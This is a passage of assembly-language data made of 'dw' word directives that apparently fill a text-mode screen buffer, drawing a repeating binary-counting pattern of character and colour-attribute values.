dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 